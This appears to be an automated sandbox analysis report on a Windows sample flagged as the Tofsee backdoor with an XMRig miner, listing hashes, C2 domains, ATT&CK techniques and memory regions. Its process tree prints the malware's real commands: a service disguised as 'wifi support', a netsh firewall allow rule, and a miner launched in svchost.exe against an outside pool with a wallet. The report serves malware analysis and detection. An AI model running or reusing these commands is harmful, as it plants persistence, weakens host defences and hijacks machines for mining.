Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-04-2023 16:04

General

  • Target

    file.exe

  • Size

    212KB

  • MD5

    8ede678cf734084b01751c5d54f7fba3

  • SHA1

    a706bed4987a37e4ee7367a28c144a57264c292b

  • SHA256

    1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218

  • SHA512

    a189411e8de914453ed6e96cee2d99395f36caf89f75fd738f53cf62fd827ecd34cee1ad10761db77a99b374d4003645542b446aaec51887d3228da5473b7135

  • SSDEEP

    3072:Q/w2vKhLFzNxTvoecRDZFuxnpxyNmH25p062a3F5+mI7iMD:CWLFzN1y/Ytpt23V2a2J7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uceofhkl\
      2⤵
        PID:868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe" C:\Windows\SysWOW64\uceofhkl\
        2⤵
          PID:636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uceofhkl binPath= "C:\Windows\SysWOW64\uceofhkl\brncxpnv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uceofhkl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uceofhkl
          2⤵
          • Launches sc.exe
          PID:1256
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1164
      • C:\Windows\SysWOW64\uceofhkl\brncxpnv.exe
        C:\Windows\SysWOW64\uceofhkl\brncxpnv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:652
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1608
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:960

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe
        Filesize

        12.5MB

        MD5

        8b05d421db62fd5fce24a74914c16a18

        SHA1

        bf29f647fc1dbfdc8a50a540eeab93444fbfcbf4

        SHA256

        17ea22060dc48f5904e9167ee9dffa06776f15864bfd23c6c85772ea5632bef7

        SHA512

        e4f0f33493ff7ff4e05157c90f1347e231c04ca9599f4aff578f77fc4dd33cceca0e4ba513fde66450240ad38dc29275486162281e9a84ba5f411e326ebdc75b

      • C:\Windows\SysWOW64\uceofhkl\brncxpnv.exe
        Filesize

        12.5MB

        MD5

        8b05d421db62fd5fce24a74914c16a18

        SHA1

        bf29f647fc1dbfdc8a50a540eeab93444fbfcbf4

        SHA256

        17ea22060dc48f5904e9167ee9dffa06776f15864bfd23c6c85772ea5632bef7

        SHA512

        e4f0f33493ff7ff4e05157c90f1347e231c04ca9599f4aff578f77fc4dd33cceca0e4ba513fde66450240ad38dc29275486162281e9a84ba5f411e326ebdc75b

      • memory/652-64-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/960-111-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-124-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-123-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-119-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-122-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-120-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-121-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/960-112-0x0000000000210000-0x0000000000301000-memory.dmp
        Filesize

        964KB

      • memory/1608-88-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-94-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-75-0x0000000000250000-0x0000000000256000-memory.dmp
        Filesize

        24KB

      • memory/1608-78-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-81-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-82-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-83-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-84-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-85-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-86-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-87-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-89-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-90-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-91-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-92-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-93-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-74-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/1608-95-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-96-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-97-0x0000000000260000-0x0000000000270000-memory.dmp
        Filesize

        64KB

      • memory/1608-98-0x00000000002F0000-0x00000000002F5000-memory.dmp
        Filesize

        20KB

      • memory/1608-101-0x00000000002F0000-0x00000000002F5000-memory.dmp
        Filesize

        20KB

      • memory/1608-102-0x00000000053D0000-0x00000000057DB000-memory.dmp
        Filesize

        4.0MB

      • memory/1608-105-0x00000000053D0000-0x00000000057DB000-memory.dmp
        Filesize

        4.0MB

      • memory/1608-106-0x00000000003C0000-0x00000000003C7000-memory.dmp
        Filesize

        28KB

      • memory/1608-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-71-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/1608-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1608-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1692-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1692-60-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB